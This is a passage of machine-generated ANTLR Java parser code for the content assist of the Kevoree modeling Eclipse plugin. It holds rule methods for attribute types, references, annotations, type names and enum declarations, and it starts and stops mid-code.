// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:543:6: ( 'Continuous' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:543:6: ( 'Continuous' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:544:1: 'Continuous'
{
before(grammarAccess.getAttributeTypeAccess().getContinuousKeyword_3());
match(input,14,FOLLOW_14_in_rule__AttributeType__Alternatives1120);
after(grammarAccess.getAttributeTypeAccess().getContinuousKeyword_3());
}
}
break;
case 5 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:551:6: ( 'Int' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:551:6: ( 'Int' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:552:1: 'Int'
{
before(grammarAccess.getAttributeTypeAccess().getIntKeyword_4());
match(input,15,FOLLOW_15_in_rule__AttributeType__Alternatives1140);
after(grammarAccess.getAttributeTypeAccess().getIntKeyword_4());
}
}
break;
case 6 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:559:6: ( 'Bool' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:559:6: ( 'Bool' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:560:1: 'Bool'
{
before(grammarAccess.getAttributeTypeAccess().getBoolKeyword_5());
match(input,16,FOLLOW_16_in_rule__AttributeType__Alternatives1160);
after(grammarAccess.getAttributeTypeAccess().getBoolKeyword_5());
}
}
break;
case 7 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:567:6: ( ruletypeName )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:567:6: ( ruletypeName )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:568:1: ruletypeName
{
before(grammarAccess.getAttributeTypeAccess().getTypeNameParserRuleCall_6());
pushFollow(FOLLOW_ruletypeName_in_rule__AttributeType__Alternatives1179);
ruletypeName();
state._fsp--;
after(grammarAccess.getAttributeTypeAccess().getTypeNameParserRuleCall_6());
}
}
break;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__AttributeType__Alternatives"
// $ANTLR start "rule__ReferenceDeclaration__Alternatives_0"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:578:1: rule__ReferenceDeclaration__Alternatives_0 : ( ( 'ref' ) | ( 'ref*' ) );
public final void rule__ReferenceDeclaration__Alternatives_0() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:582:1: ( ( 'ref' ) | ( 'ref*' ) )
int alt4=2;
int LA4_0 = input.LA(1);
if ( (LA4_0==17) ) {
alt4=1;
}
else if ( (LA4_0==18) ) {
alt4=2;
}
else {
NoViableAltException nvae =
new NoViableAltException("", 4, 0, input);
throw nvae;
}
switch (alt4) {
case 1 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:583:1: ( 'ref' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:583:1: ( 'ref' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:584:1: 'ref'
{
before(grammarAccess.getReferenceDeclarationAccess().getRefKeyword_0_0());
match(input,17,FOLLOW_17_in_rule__ReferenceDeclaration__Alternatives_01212);
after(grammarAccess.getReferenceDeclarationAccess().getRefKeyword_0_0());
}
}
break;
case 2 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:591:6: ( 'ref*' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:591:6: ( 'ref*' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:592:1: 'ref*'
{
before(grammarAccess.getReferenceDeclarationAccess().getRefKeyword_0_1());
match(input,18,FOLLOW_18_in_rule__ReferenceDeclaration__Alternatives_01232);
after(grammarAccess.getReferenceDeclarationAccess().getRefKeyword_0_1());
}
}
break;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ReferenceDeclaration__Alternatives_0"
// $ANTLR start "rule__AnnotationDeclr__Alternatives_2"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:604:1: rule__AnnotationDeclr__Alternatives_2 : ( ( RULE_INT ) | ( RULE_STRING ) );
public final void rule__AnnotationDeclr__Alternatives_2() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:608:1: ( ( RULE_INT ) | ( RULE_STRING ) )
int alt5=2;
int LA5_0 = input.LA(1);
if ( (LA5_0==RULE_INT) ) {
alt5=1;
}
else if ( (LA5_0==RULE_STRING) ) {
alt5=2;
}
else {
NoViableAltException nvae =
new NoViableAltException("", 5, 0, input);
throw nvae;
}
switch (alt5) {
case 1 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:609:1: ( RULE_INT )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:609:1: ( RULE_INT )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:610:1: RULE_INT
{
before(grammarAccess.getAnnotationDeclrAccess().getINTTerminalRuleCall_2_0());
match(input,RULE_INT,FOLLOW_RULE_INT_in_rule__AnnotationDeclr__Alternatives_21266);
after(grammarAccess.getAnnotationDeclrAccess().getINTTerminalRuleCall_2_0());
}
}
break;
case 2 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:615:6: ( RULE_STRING )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:615:6: ( RULE_STRING )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:616:1: RULE_STRING
{
before(grammarAccess.getAnnotationDeclrAccess().getSTRINGTerminalRuleCall_2_1());
match(input,RULE_STRING,FOLLOW_RULE_STRING_in_rule__AnnotationDeclr__Alternatives_21283);
after(grammarAccess.getAnnotationDeclrAccess().getSTRINGTerminalRuleCall_2_1());
}
}
break;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__AnnotationDeclr__Alternatives_2"
// $ANTLR start "rule__Model__Group__0"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:628:1: rule__Model__Group__0 : rule__Model__Group__0__Impl rule__Model__Group__1 ;
public final void rule__Model__Group__0() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:632:1: ( rule__Model__Group__0__Impl rule__Model__Group__1 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:633:2: rule__Model__Group__0__Impl rule__Model__Group__1
{
pushFollow(FOLLOW_rule__Model__Group__0__Impl_in_rule__Model__Group__01313);
rule__Model__Group__0__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__Model__Group__1_in_rule__Model__Group__01316);
rule__Model__Group__1();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__Model__Group__0"
// $ANTLR start "rule__Model__Group__0__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:640:1: rule__Model__Group__0__Impl : ( ( rule__Model__AnnotationsAssignment_0 )* ) ;
public final void rule__Model__Group__0__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:644:1: ( ( ( rule__Model__AnnotationsAssignment_0 )* ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:645:1: ( ( rule__Model__AnnotationsAssignment_0 )* )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:645:1: ( ( rule__Model__AnnotationsAssignment_0 )* )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:646:1: ( rule__Model__AnnotationsAssignment_0 )*
{
before(grammarAccess.getModelAccess().getAnnotationsAssignment_0());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:647:1: ( rule__Model__AnnotationsAssignment_0 )*
loop6:
do {
int alt6=2;
int LA6_0 = input.LA(1);
if ( (LA6_0==31) ) {
alt6=1;
}
switch (alt6) {
case 1 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:647:2: rule__Model__AnnotationsAssignment_0
{
pushFollow(FOLLOW_rule__Model__AnnotationsAssignment_0_in_rule__Model__Group__0__Impl1343);
rule__Model__AnnotationsAssignment_0();
state._fsp--;
}
break;
default :
break loop6;
}
} while (true);
after(grammarAccess.getModelAccess().getAnnotationsAssignment_0());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__Model__Group__0__Impl"
// $ANTLR start "rule__Model__Group__1"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:657:1: rule__Model__Group__1 : rule__Model__Group__1__Impl ;
public final void rule__Model__Group__1() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:661:1: ( rule__Model__Group__1__Impl )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:662:2: rule__Model__Group__1__Impl
{
pushFollow(FOLLOW_rule__Model__Group__1__Impl_in_rule__Model__Group__11374);
rule__Model__Group__1__Impl();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__Model__Group__1"
// $ANTLR start "rule__Model__Group__1__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:668:1: rule__Model__Group__1__Impl : ( ( rule__Model__DeclarationsAssignment_1 )* ) ;
public final void rule__Model__Group__1__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:672:1: ( ( ( rule__Model__DeclarationsAssignment_1 )* ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:673:1: ( ( rule__Model__DeclarationsAssignment_1 )* )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:673:1: ( ( rule__Model__DeclarationsAssignment_1 )* )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:674:1: ( rule__Model__DeclarationsAssignment_1 )*
{
before(grammarAccess.getModelAccess().getDeclarationsAssignment_1());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:675:1: ( rule__Model__DeclarationsAssignment_1 )*
loop7:
do {
int alt7=2;
int LA7_0 = input.LA(1);
if ( (LA7_0==20||LA7_0==24) ) {
alt7=1;
}
switch (alt7) {
case 1 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:675:2: rule__Model__DeclarationsAssignment_1
{
pushFollow(FOLLOW_rule__Model__DeclarationsAssignment_1_in_rule__Model__Group__1__Impl1401);
rule__Model__DeclarationsAssignment_1();
state._fsp--;
}
break;
default :
break loop7;
}
} while (true);
after(grammarAccess.getModelAccess().getDeclarationsAssignment_1());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__Model__Group__1__Impl"
// $ANTLR start "rule__TypeName__Group__0"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:689:1: rule__TypeName__Group__0 : rule__TypeName__Group__0__Impl rule__TypeName__Group__1 ;
public final void rule__TypeName__Group__0() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:693:1: ( rule__TypeName__Group__0__Impl rule__TypeName__Group__1 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:694:2: rule__TypeName__Group__0__Impl rule__TypeName__Group__1
{
pushFollow(FOLLOW_rule__TypeName__Group__0__Impl_in_rule__TypeName__Group__01436);
rule__TypeName__Group__0__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__TypeName__Group__1_in_rule__TypeName__Group__01439);
rule__TypeName__Group__1();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__TypeName__Group__0"
// $ANTLR start "rule__TypeName__Group__0__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:701:1: rule__TypeName__Group__0__Impl : ( RULE_ID ) ;
public final void rule__TypeName__Group__0__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:705:1: ( ( RULE_ID ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:706:1: ( RULE_ID )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:706:1: ( RULE_ID )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:707:1: RULE_ID
{
before(grammarAccess.getTypeNameAccess().getIDTerminalRuleCall_0());
match(input,RULE_ID,FOLLOW_RULE_ID_in_rule__TypeName__Group__0__Impl1466);
after(grammarAccess.getTypeNameAccess().getIDTerminalRuleCall_0());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__TypeName__Group__0__Impl"
// $ANTLR start "rule__TypeName__Group__1"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:718:1: rule__TypeName__Group__1 : rule__TypeName__Group__1__Impl ;
public final void rule__TypeName__Group__1() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:722:1: ( rule__TypeName__Group__1__Impl )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:723:2: rule__TypeName__Group__1__Impl
{
pushFollow(FOLLOW_rule__TypeName__Group__1__Impl_in_rule__TypeName__Group__11495);
rule__TypeName__Group__1__Impl();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__TypeName__Group__1"
// $ANTLR start "rule__TypeName__Group__1__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:729:1: rule__TypeName__Group__1__Impl : ( ( rule__TypeName__Group_1__0 )* ) ;
public final void rule__TypeName__Group__1__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:733:1: ( ( ( rule__TypeName__Group_1__0 )* ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:734:1: ( ( rule__TypeName__Group_1__0 )* )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:734:1: ( ( rule__TypeName__Group_1__0 )* )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:735:1: ( rule__TypeName__Group_1__0 )*
{
before(grammarAccess.getTypeNameAccess().getGroup_1());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:736:1: ( rule__TypeName__Group_1__0 )*
loop8:
do {
int alt8=2;
int LA8_0 = input.LA(1);
if ( (LA8_0==19) ) {
alt8=1;
}
switch (alt8) {
case 1 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:736:2: rule__TypeName__Group_1__0
{
pushFollow(FOLLOW_rule__TypeName__Group_1__0_in_rule__TypeName__Group__1__Impl1522);
rule__TypeName__Group_1__0();
state._fsp--;
}
break;
default :
break loop8;
}
} while (true);
after(grammarAccess.getTypeNameAccess().getGroup_1());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__TypeName__Group__1__Impl"
// $ANTLR start "rule__TypeName__Group_1__0"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:750:1: rule__TypeName__Group_1__0 : rule__TypeName__Group_1__0__Impl rule__TypeName__Group_1__1 ;
public final void rule__TypeName__Group_1__0() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:754:1: ( rule__TypeName__Group_1__0__Impl rule__TypeName__Group_1__1 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:755:2: rule__TypeName__Group_1__0__Impl rule__TypeName__Group_1__1
{
pushFollow(FOLLOW_rule__TypeName__Group_1__0__Impl_in_rule__TypeName__Group_1__01557);
rule__TypeName__Group_1__0__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__TypeName__Group_1__1_in_rule__TypeName__Group_1__01560);
rule__TypeName__Group_1__1();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__TypeName__Group_1__0"
// $ANTLR start "rule__TypeName__Group_1__0__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:762:1: rule__TypeName__Group_1__0__Impl : ( '.' ) ;
public final void rule__TypeName__Group_1__0__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:766:1: ( ( '.' ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:767:1: ( '.' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:767:1: ( '.' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:768:1: '.'
{
before(grammarAccess.getTypeNameAccess().getFullStopKeyword_1_0());
match(input,19,FOLLOW_19_in_rule__TypeName__Group_1__0__Impl1588);
after(grammarAccess.getTypeNameAccess().getFullStopKeyword_1_0());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__TypeName__Group_1__0__Impl"
// $ANTLR start "rule__TypeName__Group_1__1"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:781:1: rule__TypeName__Group_1__1 : rule__TypeName__Group_1__1__Impl ;
public final void rule__TypeName__Group_1__1() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:785:1: ( rule__TypeName__Group_1__1__Impl )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:786:2: rule__TypeName__Group_1__1__Impl
{
pushFollow(FOLLOW_rule__TypeName__Group_1__1__Impl_in_rule__TypeName__Group_1__11619);
rule__TypeName__Group_1__1__Impl();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__TypeName__Group_1__1"
// $ANTLR start "rule__TypeName__Group_1__1__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:792:1: rule__TypeName__Group_1__1__Impl : ( RULE_ID ) ;
public final void rule__TypeName__Group_1__1__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:796:1: ( ( RULE_ID ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:797:1: ( RULE_ID )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:797:1: ( RULE_ID )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:798:1: RULE_ID
{
before(grammarAccess.getTypeNameAccess().getIDTerminalRuleCall_1_1());
match(input,RULE_ID,FOLLOW_RULE_ID_in_rule__TypeName__Group_1__1__Impl1646);
after(grammarAccess.getTypeNameAccess().getIDTerminalRuleCall_1_1());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__TypeName__Group_1__1__Impl"
// $ANTLR start "rule__EnumDeclr__Group__0"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:813:1: rule__EnumDeclr__Group__0 : rule__EnumDeclr__Group__0__Impl rule__EnumDeclr__Group__1 ;
public final void rule__EnumDeclr__Group__0() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:817:1: ( rule__EnumDeclr__Group__0__Impl rule__EnumDeclr__Group__1 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:818:2: rule__EnumDeclr__Group__0__Impl rule__EnumDeclr__Group__1
{
pushFollow(FOLLOW_rule__EnumDeclr__Group__0__Impl_in_rule__EnumDeclr__Group__01679);
rule__EnumDeclr__Group__0__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__EnumDeclr__Group__1_in_rule__EnumDeclr__Group__01682);
rule__EnumDeclr__Group__1();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__EnumDeclr__Group__0"
// $ANTLR start "rule__EnumDeclr__Group__0__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:825:1: rule__EnumDeclr__Group__0__Impl : ( 'enum' ) ;
public final void rule__EnumDeclr__Group__0__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:829:1: ( ( 'enum' ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:830:1: ( 'enum' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:830:1: ( 'enum' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:831:1: 'enum'
{
before(grammarAccess.getEnumDeclrAccess().getEnumKeyword_0());
match(input,20,FOLLOW_20_in_rule__EnumDeclr__Group__0__Impl1710);
after(grammarAccess.getEnumDeclrAccess().getEnumKeyword_0());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__EnumDeclr__Group__0__Impl"
// $ANTLR start "rule__EnumDeclr__Group__1"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:844:1: rule__EnumDeclr__Group__1 : rule__EnumDeclr__Group__1__Impl rule__EnumDeclr__Group__2 ;
public final void rule__EnumDeclr__Group__1() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:848:1: ( rule__EnumDeclr__Group__1__Impl rule__EnumDeclr__Group__2 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:849:2: rule__EnumDeclr__Group__1__Impl rule__EnumDeclr__Group__2
{
pushFollow(FOLLOW_rule__EnumDeclr__Group__1__Impl_in_rule__EnumDeclr__Group__11741);
rule__EnumDeclr__Group__1__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__EnumDeclr__Group__2_in_rule__EnumDeclr__Group__11744);
rule__EnumDeclr__Group__2();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__EnumDeclr__Group__1"
// $ANTLR start "rule__EnumDeclr__Group__1__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:856:1: rule__EnumDeclr__Group__1__Impl : ( ruletypeName ) ;
public final void rule__EnumDeclr__Group__1__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:860:1: ( ( ruletypeName ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:861:1: ( ruletypeName )
{
